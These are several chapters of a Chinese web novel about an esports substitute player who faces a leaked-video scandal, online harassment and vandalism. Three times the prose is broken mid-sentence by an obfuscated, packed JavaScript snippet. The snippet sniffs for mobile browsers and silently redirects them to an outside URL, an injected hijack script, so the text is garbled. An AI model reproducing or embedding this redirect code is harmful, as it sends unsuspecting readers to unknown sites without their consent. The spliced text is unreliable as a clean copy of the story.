BIG-Freeman账号刚一上线,公共频道里就传来裘度连珠炮般的质问。
“你不回我,今天这训练赛就休想打!”裘度的声音像夹着冰渣。
删号战以来,钟不拘第一次对他开口:“在忙训练。”
再次听到钟不拘轻柔又冷淡的声音,裘度只觉得像是被猫爪挠了一下,心里又痒又疼:
“你们又不打季后赛,有什么好训练的?”
“你知道BIG为什么能约上我们吗,还不是我……”
“裘度,”钟不拘已经选定了英雄,还是赛琳娜,他这才开口:
“要比赛了,你安静一点。”
闹腾腾的公共频道突然安静下来,似乎能听到VHG队员倒吸一口冷气的声音。
游戏开始了。
这是钟不拘第一次和其余四个首发队员配合,也是第一次训练赛。
COW的游戏节奏相比LOL更快,他需要在实战中适应。
与BIG这边稀疏的配合不同,VHG作为老牌劲旅,一套围绕裘度展开的野核打法严密而熟练,不到五分钟就拉出三千经济差。
裘度操作着“幽影刺客·艾德里安”鬼魅似的穿梭在BIG的野区,仅凭一人就牵制住BIG的打野、ad和辅助。
开局十分钟,裘度豪取双杀,胜利的天平似乎无可逆转地倾斜了。
“钟不拘,你想不想赢?”
沉寂许久的公共频道又响起裘度的声音。
钟不拘一面尝试着抢龙,一面淡淡道:“想。”
裘度显然不知道BIG这边开着外放全员观战,声音嚣张恣意:
“你叫我一声老公,我让你两条龙。”
钟不拘正全神贯注捕捉着翻盘的机会,没注意到有道高大的人影已快步走到他身后。
祁舜拿起钟不拘耳机上的话筒,声音沉沉:
“针对你的骚扰行为,我保留向联盟投诉的权利。”
“哈,你特么谁啊?”裘度一声冷笑,语气愈发暴戾。
隔着无框眼镜,祁舜神色阴沉难以捉摸:
“我是BIG的实际控制人兼总裁,我叫祁舜。”
不理会二人的较劲,钟不拘看准机会,一套连招抢下了小龙。
11.又当又立
公共频道里鸦雀无声。
不仅是VHG,就连BIG训练室里温度都降了两度。
崔秘书在一旁急得擦汗,选手不过是训练赛说两句骚话,一个这么大的老板就去威胁人家。
这和小学生打架市长出面有什么区别?
祁舜放下话筒,阴沉着脸站在钟不拘身后,盯着玉葱般的手指在键盘上纷飞,不置一言。
为了模拟赛场,BIG五个队员坐在一排,钟不拘在最中间。
祁舜在他身后一站,巨大的气场压得几人不敢说话,队员们频频回头察言观色,好不容易挽回的战局又开始倾斜。
“打野,继续报点。辅助探草。”
只有钟不拘,仿佛浑然不觉祁舜的存在,语气平淡笃定。好像他不是临时顶上的替补,反倒是团队的指挥。
几个首发队员想也没想,战战兢兢地照做了。
二十五分钟后,BIG险胜VHG。
“我靠,这是不是咱们第一次赢VHG!”
“倒也不至于,三年前赢过一次。”
“嗯嗯,那局比赛录像小时候还抱过我呢。”
“Lock是不是放水了......”
“是被吓得吧,我都担心祁总下一句话是‘天凉了,让VHG破产吧’。”
祁舜身后议论纷纷,几个首发队员也面面相觑,怀疑眼前的Victory是幻觉。
钟不拘最为淡定:“下一局前期注意野区,打野多往下路支援......”
等他一番复盘过后,队员们脸色阴晴不定地离开机位,祁舜还站在原地。
“打得不错。”他开口。
“您站在这里,可能会影响团队发挥。”钟不拘头也没回,在研究对局的各项数据。
祁舜弯下腰,低声道:“小拘,你应该感谢我才对。”
他指了指屏幕里的VHG-Lock:“难道你喜欢被不熟的人的骚扰?”
祁舜故意把“不熟”两个字说得很重。
钟不拘偏过头,和祁舜拉开一点距离:“我也不喜欢,被不熟的人喊小拘。”
祁舜沉默了一秒:“上午你还很喜欢。”
“误会。”钟不拘没有转头,只是用眼角余光觑了一眼:
“他只在乎冠军,可不会给选手的脸打分。”
“可你的脸很好看。”
祁舜不假思索地说了一句。
钟不拘顿了一下,伴随着一声轻叹离开机位。
......
最后,BIG以3:2险胜VHG。
如果说BIG赢下第二局时,众人的惊喜是条件反射,此时的冷静就是出于权衡利弊。
因为他们都亲眼所见,钟不拘,这个因为跪舔裘度而被鄙视的替补,被人嘲笑为花瓶的无名小卒,所爆发的非凡实力。
战队的格局要改变了。
钟不拘回到观赛区时,祁舜不知何时已经离开。他瞟了一眼空出的座位,依旧是眸色淡淡。
“赢了还垮着个批脸,不知道在装什么。”黄毛一脸不屑:
“明眼人都看得出来,Lock分明是放了水,有些人赢了,但也不见得光彩。”
听到这话,一起上场的几个首发面露不悦,刚准备开口,却听到有人怒斥道:
“你们是没长眼睛吗?”邱浩瞪向黄毛几人:
“就算Lock刚才打得一般,你上也赢不了!”
黄毛愣了:“你小子是被Lock吓出病了?最后一波团战野区逛街难道不是放水?”
邱浩不服:“如果不是钟,中单化解Lock之前那波单带,哪里还有最后一波团战?还有第三场的小龙团......”
“我终于听明白了。”黄毛噗嗤一声笑了出来:
“我以为你是被Lock吓成傻逼了,没想到你是觉得钟不拘打得好啊!”
邱浩装作无意地看了钟不拘一眼,只见他昳丽的脸上一派气定神闲,含着水汽的漂亮眼睛正盯着手机看得专心,显得风情又冷漠,好像此刻的争议和他无关。
邱浩的脸一下子红了,他连忙移开视线,瞪向黄毛:
“电子竞技实力说话,你这么针对钟不拘,不就是因为你也是中单?”
“我就算担心自己的首发,也做不到你这么狭隘!”
黄毛看出邱浩的局促,语气轻佻道:“你不会是赛场上打不过Lock,就想情场上赢一下吧。”
“怎么,Lock搞过的屁股,你也想搞一下?你有Lock的大吗哈哈哈哈。”
“你给我闭嘴!”
邱浩气得两眼发直,抡起拳头就要往黄毛脸上砸,三人组的打手胖子挺身而出。
眼见着拌嘴要演变成斗殴,小眼镜一把拉住了胖子,顺便捂住了黄毛的嘴。
“你不知道他是......”
小眼镜低声说了什么,二人的脸色阴晴不定。
短暂犹豫后,黄毛对着钟不拘呸了一声,三人顶着一脸不屑离开了。
“那个......”邱浩依旧红着脸,对钟不拘结巴道:
“我没有他们说的那个意思,我就是觉得,你打得很好,尤其是赛琳娜,你......”
钟不拘放下手机,邱浩认出他正在看比赛视频,正是本赛季BIG对上VHG那场。
那是邱浩最痛苦的一场比赛,他用最擅长的中单英雄赛琳娜被裘度连杀八次,网友建议既然都姓qiu他不如磕个头认裘度当爹。
邱浩的脸开始发烫:“我其实没那么菜......”
“你的赛琳娜确实玩得不够好。”
钟不拘抬起轻薄的眼皮,邱浩发现他的睫毛很长很密,而且眼尾还有一颗小小的红痣。
邱浩的喉结重重滑动了一下,感觉自己心跳变快了。
钟不拘没发现他的异常,继续道:“这其实是游戏理解的问题,你觉得推线慢对推线快但后期弱势的英雄,应该怎么处理?”
钟不拘等了三秒,只见邱浩带着点稚气的脸上慌乱又呆滞:
“对不起,我刚才没听清......”
他甚至没听清钟不拘说他玩得菜。
钟不拘眨了眨眼,语气依旧柔和:“要专心听我说话,这种情况下......”
......
祁舜是信守承诺的。
在赢下VHG的当天夜里,崔助理就和经理一起来宣布了考核标准的调整,包括社交媒体粉丝数量等等的商业价值评分,占比从50%降低到30%。
与此同时,他们还公布了第一场训练赛的参与者评分。
根据教练、数据分析师的评定,钟不拘毫不意外地拿了最高分9/10,据说唯一的1分扣在某个英雄的熟练度上。
公布结
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965697|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果时,钟不拘还是那副波澜不惊的样子,倒是他身后的邱浩,笑得像个傻逼。
“又不是你拿最高分,你笑什么笑。”经理一掌拍在他脑袋上。
“诶哟,别打了!”邱浩好像和经理关系不错,玩笑道,“影响我的形象评分,要你负责啊!”
“小兔崽子,今天直播别骂对手,更别骂队友,跟粉丝多聊聊。”经理嘱咐。
似乎觉得只叮嘱邱浩一个人不妥,经理又环视四周道:
“考核期间每晚十点到十二点是直播时间,要求必须露脸开麦,大家都加把劲啊!”
钟不拘登录了直播间,虽然只在一周前直播了一次,但拜裘度所赐,他的账号粉丝激增十万,已经来到战队中上水平。
还没来得及开摄像头,成群的关注者就涌了进来:
【你为什么还不回Lock,你很高贵吗?】
【看了你的比赛视频,假如你是VHG队员我必给你FMVP,但既然你是BIG的我只能问你一句,和Lock的删号战真没开挂?】
【我BIG的粉丝姐妹说这人就是个花瓶,该不会是色///诱我们Lock了吧?】
【见过真人,只能说创新点在于填补了电竞行业没有母0的空白。】
钟不拘一眼看过去,几乎人人都顶着裘度直播间的粉丝牌子,弹幕堪称从技术到外表的无死角人身攻击。
【麻烦哥哥也注意言行,不要影响我们小宙的成绩呀!(鞠躬)】
还有一些看起来像尹宙粉丝。
邱浩不知何时凑到他身后,红着脸指了指后台的禁言标志:
“喂,你没有房管,实在不行可以把房间完全禁言的。”
钟不拘轻笑了一下,然后有条不紊地打开了摄像头。
直播间出现他的脸的瞬间,弹幕突然少了80%,好像世界骤然安静了。
“各位晚上好,我是BIG的Freeman。”他的声音轻柔,一点听不出被弹幕影响的情绪。
等了足足三十秒,弹幕才逐渐复活:
【卧槽,这么美???】
【姐妹们我突然有点理解Lock了,这种清冷大美人谁不爱呀,我直接嗨老婆!】
【敢不敢把美颜关了说话?】
【虽然没有血缘关系,但是哥哥弟弟都是颜霸呀,伪骨科真好吃QAQ】
紧接着是各色各样的礼物,以及肉眼可见速度增长的粉丝数量。
钟不拘淡淡地道了一声“谢谢”,然后开始沉默地排位。
虽然没有房管、不谢礼物,和弹幕基本不沟通,他还是凭借十万块的礼物收益和20万粉丝增长,成了BIG名副其实的直播之星。
在接下来的一周里,钟不拘白天在训练赛中取得了80%场次的MVP,夜晚的每次直播都会登上斗虾首页的人气榜单。
裘度的直播间里,甚至出现了【我和裘狗夺妻之恨不共戴天】的弹幕刷屏,用户被裘度本人永久禁言。
“偶像101”第二期节目播出时,尹宙又晒出给哥哥画的Q版肖像画,声称“哥哥是世界上最美的人”。
钟不拘和Freeman,就像是住在了微博热搜。
然而在一周后的某个深夜,一位叫“说给竞人Bot”的电竞博主突然发布了一条视频。
【粉丝投稿:某个电竞圈网红又当又立的双面人生,啧啧啧】
12.酒店视频
钟不拘第二天是被尹宙的视频吵醒的。
“哥,我就说那个什么球不是好人吧!”
视频里尹宙顶着粉色鸡窝头,线条精致的眉毛缠在一起。
“怎么?”钟不拘看了眼时间,才早上八点,对于电竞选手属于凌晨。
他的黑发散乱地披在肩上,更衬得皮肤白得过分。神色慵懒困倦,反倒中和了眉目的冷淡,显得别有风情。
尹宙虽然做好了心理准备,但还是心跳乱了一拍,他深吸一口气:
“那个微博......有人发你和裘度的视频,你......”
“训练赛视频吗?”钟不拘眉头浅蹙,语气重了几分,“这确实应该严格保密的。”
尹宙的太阳穴抽搐了一下:“......是你给他敬酒的视频。”
这是穿书前的事情,钟不拘顶着困意,勉强想起在小说里,原主在选手大会对裘度大献殷勤,有心人把视频发在网上,导致原主遭受了一波“崆峒”网暴。
此时裘度和郁寻已经和好,为了哄着郁寻,裘度当着他的面放了视频,说了诸如“和这种人打比赛是我的耻辱”、“他这种庸俗的玩意我根本看不上”等评价。
后来郁寻心直口快,在某次直播复述了裘度的话,成了压垮原主心理防线的最后稻草。
所以虽然故事似乎发生了变化,裘度如今疯得更厉害了,书中的情节还在运转。
钟不拘并不在意裘度怎么评价他,带着点安抚的语气道:
“谢谢你,我会注意的。拍摄顺利。”
挂掉尹宙的视频后,钟不拘登录了原主的微博。
他在和裘度的删号战后,只登录过一次,就是把各种关于裘度的转发删掉。
如今登录微博,破旧的手机甚至因此卡了半分钟。
无论at、转发还是评论,都显示鲜红的999+。
钟不拘随手点开at列表,找到了尹宙所说的视频。
视频里“钟不拘”虽然穿着夏季队服,但是领口被拉得歪向一边,露出平直的锁骨和白皙的颈部。
他似乎是醉了,柔弱无骨地靠在裘度肩上。
一只手拿着一杯啤酒,另一只似乎抚摸着裘度的胸膛,看起来分外轻佻。
裘度脸上写满了嫌弃和不耐烦,但是原主还不知疲倦地撅起嘴唇在裘度耳边说着什么,直到最终被裘度一把推开。
他跌坐在地上,长发散乱,啤酒泼了一身,活像一个疯子。
【有没有火盆给我跨一下】
【昨天还说他长得蛮好看,就可惜比赛没成绩,真没想到作风这么呕】
【所以之前对Lock那副爱答不理的样子,是欲擒故纵的新play是吗?】
【于是转身向崆峒山走去。。。】
他随手一番,就看到大片辱骂原主又当又立的评论。
其中也有人表示【选手大会是私人活动,录像并传播是违法的】,但是很快就被喷了上百层。
仅仅是看着视频里原主的谄媚,钟不拘就觉得反胃。
他认为电竞选手的价值在于赢得比赛,实在不能理解原主恋爱比天大的思维,以及怎么会迷恋裘度这种狂妄庸俗之人。
对于这些谩骂,钟不拘并没有感同身受的悲或怒,反而觉得有道理。
即使是他自己,也想骂醒原主,劝他不要浪费短暂的职业生涯黄金时期,抓紧训练才是正道。
钟不拘刚准备再睡一会,为今天的训练攒足精力,尚未退出的微博页面就弹出一条提示:
您的互关联系人VHG-Lock转发了一条微博。
钟不拘这才发现忘了取关裘度,顺手点开系统提示,却看见裘度转发的正是那条敬酒视频。
VHG-Lock:【哪个傻逼拍的?快给老子删了,不是这么回事。】
十秒后这条微博被删除了。
一分钟后,VHG-Lock转发微博:
【清朗网络空间,是每个用户的责任。传播偷拍视频会带来不可逆的伤害,我也保留追究法律责任的权利!
——这些修改可以让您的行文更加礼貌书面,有利于含蓄表达不希望钟不拘被网暴的诉求。】
十秒后,第二行被删除了。
钟不拘挑了下眉,停住了取关选项上方的手指。
就在他犹豫的片刻,裘度的私信已经发了过来:
“微博竟然没拉黑,我就知道你还是舍不得。”
“我已经通知法务和公关了,这群傻逼蹦跶不了多久。”
“那天我真没使劲,没想到会把你推倒。”
“上周那个男的真是你们新老板?”
钟不拘退出微博,继续睡觉。
......
下午一点,钟不拘提前一小时到训练室。
经过一周的考核,不少队员目睹了他从花瓶替补到可以争夺首发中单之位的实力变化,深感羡慕和钦佩,于是也自觉参与加训。
钟不拘走进训练室时,里面已经稀稀疏疏坐了几个人,邱浩就在其中。
对上钟不拘的目光,邱浩的脸一下子红了,欲言又止地低下头。
“怎么了?”穿书前当了足足六年队长,钟不拘习惯性地关心队员。
邱浩青涩带着点婴儿肥的脸肉眼可见地更红,他像个鸵鸟似的埋下头,指了指手机屏幕。
钟不拘低下头,发现他在看裘度的直播间。
画面里裘度一张英俊而富有侵略性的脸表情严肃,嘴角和下颌线都绷紧,一双剑眉带着怒气竖起。
下午相当于电竞选手的早晨,这是一天最清醒的时候,一般都是用于训练,很少有战队会允许选手直播。
更何况VHG本周还要参与季后赛的角逐,钟不拘不用想就知道,对方多半是为了微博的事。
他感谢裘度为自己出头,但是又因为鄙夷原主的行为而觉得事不关己。
“专心训练吧。”钟不拘叮嘱了一句,就要起身离开。
“可是他在说你的事情诶。”
被带着冷香的发尖掠过鼻尖,邱浩下意识抓住了钟不拘的衣角。
他也不知道自己为什么对钟不拘的事情这么关心。一周前,他可是很瞧不起对方这种技术稀烂还心思不正的人。
或许是那场和VHG的训练赛,让他看见了钟不拘相当优秀的操作水准,以及面对强敌的冷静和淡然。
对于一个技术控,这是致命的吸引。
更何况,邱浩偷偷看向钟不拘微微上翘的眼角,长长的睫毛在眼位勾勒出漂亮的弧线,皮肤也白得发光。
真漂亮啊。邱浩暗自感叹。
他也看过那个敬酒视频,虽然当时他就在现场还和队友吐槽,但如今却倍感不忿。
裘度那家伙又粗暴又蛮横,有什么好的!
钟不拘不知道他复杂的心理活动,只微微颔首:“那你外放吧。”
邱浩昏头昏脑地调高了音量,手机传来裘度低沉冷酷的声音:
“不是你们看到的那样,我和Freema
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975758|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
n的关系,还不错。”
“他那天就是喝多了,我一不小心手劲大了点。”
“你们别听那傻,那个营销号带节奏啊,偷拍是违法的。”
“我和Freeman的关系,嗯......”
读到这一条弹幕,裘度的尾音微微上扬,语调有些暧昧:“我们关系挺好的,删号战都是朋友间的玩笑,选手大会那天晚上,我们还......”
男人轮廓锋锐的唇角勾起:“还一起玩了一会,他技术不错。”
【裘神细说,你们那晚玩得是游戏吗?[斜眼看.jpg]】
【救命这是什么反差萌,冷艳大美人喝醉了原来是撩人小猫!营销号死一户口本!】
【啊啊啊姐妹们,难道只有我觉得磕到了吗?长发美人和狂傲小狼狗,我大吃特吃!】
【你才刚吃到?删号战的时候我就磕到了,你知道Freeman给Lock的备注是什么吗?】
【一个Lock有一个Free,我看就叫“开锁cp”吧】
砰——
邱浩一拳砸在电脑桌上:“这人真不要脸!明明是他把你推倒的,现在还出来装好人!”
钟不拘眸色淡淡,抬手理了下额前的碎发,没有说话。
这些天虽然被裘度纠缠,但钟不拘以为他是删号战后颜面扫地,这才一直要自己难堪。
他也没想到,小说里对他厌恶至极的裘度,竟然会特意开播为自己洗白。
“可能是训练赛赢了他们吧,”钟不拘只想到这一种可能,那就是他的电竞实力折服了裘度,对方的态度才发生改变。
想到如此,他用一贯劝诫年轻队员的口吻道:
“好好训练,你的实力决定了其他人对你的态度。”
邱浩愣了愣,仔细一想,却觉得钟不拘说得很有道理,自己不就是被他的实力折服了吗,所以才这么在乎他!
“嗯,我现在就开始训练!”邱浩在胸口握拳,目光灼灼。
他也要自己的实力,折服钟不拘!
......
“Freeman的视频对战队形象影响很大,好多人都骂呢,这怎么能不扣分呢?”
会议室里,崔秘书和经理以及助教、数据分析师等人召开例会,讨论当天的考核情况。
看着钟不拘的分数一骑绝尘,似乎这首发中单就是探囊取物,经理坐不住了。
崔秘书:“视频发布时舆论确实不利,但是Lock澄清之后,根据我们对社媒数据的采集,其实整个事件是有利于选手商业价值提升的。”
经理看着微博首页“开锁cp”“Lock Freeman”等词条热度居高不下,脸色愈发难看。
“而且,祁总也发话了。”崔秘书看出经理脸色不佳,补充道:
“集团法务部已经起诉微博,很快会拿到投稿和发布视频的用户信息,然后我们会考虑法律手段。”
“这,这有必要吗?闹这么大,影响不好吧。”经理的脸色更难看了。
崔秘书笑:“祁总一心要把BIG拉回正轨,就算现在人在美国开会,也每天跟进考核情况。”
“很久没见祁总这么关心谁了。”
崔秘书话里有话地说了一句,没有点明这个“谁”是谁。
经理擦了擦汗,低下头急匆匆地在手机上打字。
就在这时,微博电竞频道又空降了一条热搜,十分钟就爬到了热度第一。
热搜只有四个字:酒店视频。
13.猎鹿
和境外股东的谈判开始前,祁舜恰好点开了国内时间凌晨发布的,钟不拘给裘度敬酒的视频。
“Shawn,你是对股权安排不满意吗?我们可以和律师沟通......”
看着他脸上阴沉的表情,几个境外股东代表后背发凉。
他们都知道,祁家这位横空出世的小少爷,有着比几个兄弟姐妹更狠辣果断的手段。
毕竟据坊间传闻,在抢夺了大哥的产业之后,他甚至卡住了大哥一家的吃穿用度。
那位挥霍无度的祁家大少,现在连吃顿米其林,都需要跟他的秘书申请。
祁舜的薄唇绷成直线,更显得冷淡严肃:“我没意见,散会吧。”
回到酒店后,祁舜联系崔秘书立刻采取法律手段。
在视频被删除前,他录了屏,然后反复观看着男人长发散乱柔弱无骨的样子,直到他心烦意乱。
连他都没能轻易驯服的人,就跟条哈巴狗一样,任由对方揉捏欺辱。
钟不拘,你现在的冷漠高傲,到底是演给谁看呢?
裘度独自灌了半瓶威士忌,才勉强让自己入睡。
梦里他又看见了熟悉的背影,金棕色的长发、高挑单薄的身型。
“妈,求你别走。”
他似乎回到了年幼的时候,只能勉强抬起头看到女人回眸的侧脸。
然而就在一瞬间,那人金棕色的长发变成黑色,深邃的欧美五官变成柔美中的亚洲长相。
“Shawn,我们一起喝一杯。”
钟不拘举着酒杯,乌黑的长发摇曳遮掩着白到发光的身体,眼中的疏离融化成了一抔春水。
他靠在祁舜肩头,修长的指尖划过他的胸膛。
就像视频里那样。
祁舜顿时惊醒。在清醒的瞬间,他被一股浓重的香水味熏得想吐。
他侧过头,看见身边躺着个黑发飘飘的瓜子脸男人,眼神羞怯中带着勾引:
“Shawn,你喜欢什么姿势?”
祁舜的声音里夹杂着冰渣:“滚出去。”
长发男人不愿放弃:“你的朋友让我来服务你......”
祁舜没再说话,但他额角的跳动青筋和绷紧的手臂肌肉,让男人骤然感到极大的危险。
他滚得很快。
祁舜拨通了电话,对面传来发小夸张的加州口音:
“嘿Shawn,你们完事了?你比我想象的快呢......”
祁舜阴沉着脸:“再来一次,我会起诉你非法侵入,让后让你爸滚出董事会。”
“骗哥们可以,别把自己也骗了。”发小听起来志在必得:
“你别以为我不知道你今天为什么这么不爽。”
“我知道你在那个电竞俱乐部呆了很多天,我还知道你的长头发美人昨天......”
“二十八年都没谈过恋爱的Shawn,你们中国是不是有句话,老房子......”
祁舜眉头紧蹙:“闭嘴。”
发小哈哈大笑:“你要是看了今天的微博,一定会感谢我给你的礼物。”
祁舜还没开口,对方又道:“Shawn,你栽了。”
电话被挂断了。
祁舜点开“酒店视频”的热搜,ip在非洲的匿名账户发布了一段视频。
视频里,似乎喝醉了的裘度被队友搀扶着送回酒店房间。
紧接着视频加速,在二十分钟后,一个摇摇晃晃的长发男人,刷开了房间的门。
视频再次加速,八个小时后,当长发男人出门时,即使酒店摄像头不甚清晰,也能看出长发凌乱、衣衫不整。
最后,个子不高的少年敲开了裘度的房门,裘度开门时裸着上半身,下半身系着浴巾。
【裘神猛啊,连着玩两个?】
【原来这么积极帮忙解释,是因为当晚深入♂交流了哦】
【楼上的恶臭男,只看个开门关门就敢这么说话,不怕Lock起诉?】
【怪不得是野王,CD刷新都比别人快】
评论恶臭不堪。
祁舜反复观看这段视频,高耸的眉骨投下的阴影遮住双眼,神色难辨。
......
钟不拘坐在电脑前,漂亮淡漠的杏眼里投射着峡谷的河道。
训练室里来来往往的人路过他身后,都投去打量的目光,又担心自己受牵连似得很快收回来。
“怪不得Lock昨天帮他澄清......”
“祁总这次还护着他吗......”
“他和祁总会不会也睡过......”
“到底怎么才能睡到......”
在黄毛几人的煽风点火下,低沉的议论声从钟不拘身后传来,邱浩忍无可忍握着拳摔门而去,大门发出一声闷响。
种种喧哗,钟不拘置若罔闻,视线始终停在面前的屏幕上,运指如飞。
他想起每次他贪玩懈怠训练,被那个人管教时,耳边总是回荡着“种瓜得瓜,种豆得豆”的絮叨。
种因得果,“钟不拘”种下的因,苦果也只能落在他头上。
虽然不算公平,但是穿书之后的半个月里,钟不拘在高强度的训练中,感受到年轻了六岁的身体带来的惊喜。
更快的反应速度,不被伤病困扰的肩颈腱鞘,以及旺盛的精力。
这在穿书前一直困扰着处在职业生涯末年的他。
虽然这个世界身边的男人各个古怪,钟不拘仍然认为,这是一次新生。
或许他对于拿到S赛冠军的时间太晚的遗憾,促成了他来到这里。
如果能早几年拿到冠军,那个人临走前,或许还能摸一摸他想了一辈子的奖杯。
钟不拘不想再留遗憾了。
砰——
一块石头精准命中了训练室的窗户,钟不拘就坐在床边的机位,爆裂的玻璃碴子扬了他一脸。
钟不拘起身时,星星点点的血迹掉落在玻璃碎片上,他先是检查了双手,确认无恙后松了口气。
还好他躲闪及时,似乎只有后背被划出了几道口子。
罪魁祸首的石块上绑着一张纸条,就落在他的眼前:
“钟不拘你这个贱人!我们永远不会放过你!!!”
就在众人从惊魂未定中冷静下来,队医等人冲进训练室之时,两双皮鞋也映入钟不拘的视野。
“Freeman,你出来一趟。”是经理的声音。
“小心点。”崔秘书拉了他一把,顺带帮他拨开了头发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982898|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的玻璃碎片。
队医给钟不拘简单包扎了背后的伤口后,经理拉着钟不拘走出基地。
他这才看见原本洁白的别墅外立面上,歪歪斜斜地被泼上红漆,应该和砸玻璃的是同一伙人。
经理做出一脸严肃的表情:
“Lock因为你被联盟停赛调查了,通告是中午发的,没想到粉丝这么疯狂。”
崔秘书接话道:“我们已经报警了,不如还是等警方调查吧。”
做小伏低多日的经历难得硬气:“视频发布的时间,美国应该还是白天,祁总有什么说法吗?”
崔秘书沉默片刻:“祁总很忙。”
经理咄咄逼人:“无论如何,这种丑闻严重影响了俱乐部的形象,联盟也已经要求我们调查。”
“我认为,应该先暂停他的一切考核和训练安排,等待调查结果,避免给俱乐部造成更大的损失!”
“祁总没有指示,本身就是指示!”
好多天没机会发作的经理长舒一口气,瞟了钟不拘一眼。
钟不拘失血后脸色苍白,白皙的皮肤几乎半透明,隐隐可见青色的血管。
他的声线轻柔,但语气却坚定:“那晚什么也没发生。”
经理皱眉:“现在也来不及检测了呀,你有什么证据呢?”
听明白经理说得是什么检测,崔秘书的脸色更加难看。他反复解锁手机,却怎么也等不到祁舜的消息。
毕竟昨天出面不让扣分的也是他,此时钟不拘的处境,也是打了他的脸。
钟不拘略作沉默:“我可以配合调查,但是训练不能停。”
一听到训练二字,经理的声音立刻变得尖锐:“训练、训练,以前怎么没听说你这么爱训练!你不就是想要抢首发中单的位置吗!”
钟不拘点头:“我必须首发。”
“首发个屁!”经理指着别墅外墙上的红漆,“一人做事一人当,你今天把它们擦干净之前,别给我走进训练室!”
顺着破碎的窗户往里看,黄毛等人一脸幸灾乐祸地看着他。
钟不拘深吸一口气:“给我毛巾。”
油漆还没有干透,但在瓷砖上也不好擦除,他一动后背就要渗出血来,崔秘书看着着急,忍无可忍鼓起勇气给祁舜打了电话。
现在是美国时间凌晨四点,但祁舜还是接了。
“祁总,实在抱歉。”崔秘书压抑住焦躁的语气,“俱乐部......”
“按照规矩办事吧。”祁舜的声音冷冷的。
崔助理还没来得及追问,就听见祁舜的声音带着残忍的笑意:“崔秘书,你知道如何猎鹿吗?”
崔秘书摸不着头脑:“祁总,没有。”
祁舜笑着道:“鹿是很倔强敏捷的动物,你越追着它开枪,它就跑得越快、撞得越凶。”
“虽然听觉灵敏,但是鹿的视力很差,所以我们会等待到深夜,等到他们走进黑夜的时候,再瞄准射击,一枪毙命。”
看着钟不拘一点点擦拭着红漆,崔秘书没有再追问祁舜。
他跟祁舜共事多年,一点暗示就能明白对方的意思。
祁舜把钟不拘看成一只鹿,在等待狩猎的机会。
“祁总三思。”崔秘书挂断了电话。
14.裘度
炎炎烈日下,一双白皙的手浸进水里,每根手指都纤细笔直,秀气的指节隔着薄薄的皮肤泛出红晕。
钟不拘握住粗粝的抹布,拧干水分后,一点一点擦拭着瓷砖上的红漆。
油漆半干未干,如果不够用力,就会在瓷砖上留下斑驳的红印,因此钟不拘不得不绷紧手臂与后脊,使得玻璃碴子划出的伤口又渗出血来。
崔秘书看得直皱眉,都说伴君如伴虎,他觉得祁舜也差不多,明明昨天还像块宝似的想捧着人家,转眼就又不把人当人看。
他实在看不过去,想着要不喊几个保洁来一起擦,刚举起手机,就被经理瞪了一眼:
“崔秘书公务繁忙,要不先去忙吧。”
崔秘书皱眉:“以后还要继续做同事,低头不见抬头见,没必要吧。”
他一直关注考核情况,知道钟不拘的分数可谓一骑绝尘,就算被经理吆喝着把舆论分全扣光,也能以前10%的成绩留下。
经理含混不清道:“这谁能说得准。”
崔秘书正幻想着给经理一拳,突然眼前真的冲出一个少年,气势汹汹锤在了经理肩膀上:
“你有病吗?他都受伤了你让他擦墙?”
经理强压住怒气:“邱浩,你冷静一点。”
邱浩大喊:“我就不冷静你能怎么样,你再去找我妈......”
“我这都特么是为了你好!”
他话还没说完,就被经理用更大的嗓门压了下去,一时间所有人都投来窥探的目光。
“你为了我好个屁!”邱浩也不示弱,吼得满脸通红:“你非要让他擦,那我和他一起!”
“□□崽子。”经理没忍住爆了句粗口,“你别以为我看不出你那点小心思。”
“毛还没长齐,就想着要谈恋爱了是吧?还特么是个男......”
迎接经理的是一桶漂浮着红漆的污水,滴滴答答的红色油污落下,看着像是被人爆了头。
“Mount,别这么冲动嗷!我去给经理找个毛巾!”
崔秘书装模作样地喊了一声,然后步伐轻快地回办公室了。
等黄毛等人把彻底呆住的经理扶进基地,邱浩一言不发地捡起水桶,重新打了一桶水。
一系列争吵,钟不拘连头也没回,直到邱浩把澄清的水放在他脚边,他才侧过头看了一眼:
“谢谢。”
他的脸色苍白,在阳光下给人半透明的错觉,仿佛是玻璃雕的美人。
邱浩又气又恼又害羞,索性不去看这张脸,闷声道:“你擦左边,那我去擦右边。”
两人沉默地擦拭着墙面,邱浩时不时偷偷侧过头,他觉得钟不拘的侧脸真好看。
鼻梁高而直,加上秀气鼻尖的一点挺翘,简直比女明星都漂亮。
油漆很难擦,但是他却产生要是能这么一只擦下去也很好的错觉,直到警车的轰鸣打碎他的幻想。
